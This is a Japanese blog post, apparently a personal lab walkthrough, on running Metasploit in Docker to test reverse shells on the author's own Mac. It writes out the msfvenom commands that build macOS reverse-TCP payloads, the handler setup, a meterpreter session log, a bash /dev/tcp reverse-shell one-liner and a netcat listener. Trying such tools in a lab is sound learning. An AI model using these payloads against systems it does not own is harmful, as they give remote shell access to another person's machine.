2025年8月1日金曜日

Metasploit を docker 上で動作させる方法

Metasploit を docker 上で動作させる方法

概要

過去に Mac 上に Metasploit をインストールして使ってみました
どうやら docker でも動かせるので docker 上で Metasploit を試してみました
今回はお試しなので過去に試したリバースシェルを docker でやってみます

環境

  • macOS 15.5
  • docker 28.3.2
  • metasploit v6.4.0-dev

Metasploit (msfconsole) の起動

  • docker run --rm -it --name metasploit -p 4444:4444 metasploitframework/metasploit-framework

リバースシェル用の macho ファイルの作成

先ほど起動したコンテナ上で msfvenom コマンドが使えるのでそれを使って作成します
msfvenom コマンドは PATH に通っていないのでフルパスで指定し実行します
192.168.1.100 は Mac のホストの IP アドレスです

  • /usr/src/metasploit-framework/msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f macho -o /home/msf/payload.macho

コンテナ上に保存した payload.macho ファイルをホスト側の Mac にコピーします

  • docker cp metasploit:/home/msf/payload.macho .

リバースシェルの待受をする

msfconsole が起動しているコンテナ上で実行します

  • use exploit/multi/handler
  • set payload osx/x64/meterpreter_reverse_tcp
  • set LHOST 0.0.0.0
  • set LPORT 4444
  • exploit

実際のコンソール上では以下のようになります

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:4444 

ホストマシン上で macho ファイルの実行

あとは Mac 上で payload.macho ファイルを実行すれば OK です
msfconsole で起動したハンドラ側で操作できることを確認します

  • chmod +x ./payload.macho
  • ./payload.macho

msfconsole 側では meterpreter が起動し専用のコマンドが起動できるようになります

[*] Meterpreter session 2 opened (172.17.0.2:4444 -> 192.168.65.1:51203) at 2025-07-29 01:39:02 +0000

meterpreter > sysinfo
Computer     : mymac.local
OS           :  (macOS 15.5.-1)
Architecture : x64
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx

最後に

Metasploit を docker 上で起動してみました

Metasploit を macOS 上で動かす場合には Homebrew でインストールすることも出来ますが非推奨のインストール方法らしくまた実際に Homebrew でインストールすると sudo: sorry, you are not allowed to preserve the environment になりインストールできませんでした
なので可能な限り docker や公式のインストール手順を使ってインストールしましょう

セキュリティ的な観点からも docker で動かすほうがいいのかもしれません

おまけ: リバースシェルの中身

macho ファイルはバイナリですが sh は普通に中身を確認できます

bash -c '0<&143-;exec 143<>/dev/tcp/192.168.100.2/4444;sh <&143 >&143 2>&143'

簡単に説明すると

  • ファイルディスクリプタ 143 を標準入力(fd 0)に割り当て
  • /dev/tcp/ホスト/ポート を読み書き(双方向)で開き、ファイルディスクリプタ 143 に割り当て
  • sh(シェル)を起動し、その stdin, stdout, stderr をすべて fd 143 に接続

fd が 143 なのに深い意味はなく単純に使用されていないであろう大きめの番号を指定しているだけだと思われます

おまけ2: meterpreter ではなく nc で待ち受ける方法

今回はリバースシェル作成時にペイロード osx/x64/meterpreter_reverse_tcp を指定しましたがこれは待ち受け側が meterpreter であることを前提にしたリバースシェルになります
もし meterpreter を使わず nc を使って待ち受ける場合ペイロード osx/x64/shell_reverse_tcp を使って msfvenom を使ってリバースシェルを作成します

  • /usr/src/metasploit-framework/msfvenom -p osx/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f macho -o /home/msf/payload2.macho

これを Mac 側に持っていき

  • chmod +x payload2.macho
  • ./payload2.macho

で起動し

  • nc -lv 4444

で待ち受けすることでシェルを実行できるようになります

参考サイト

0 件のコメント:

コメントを投稿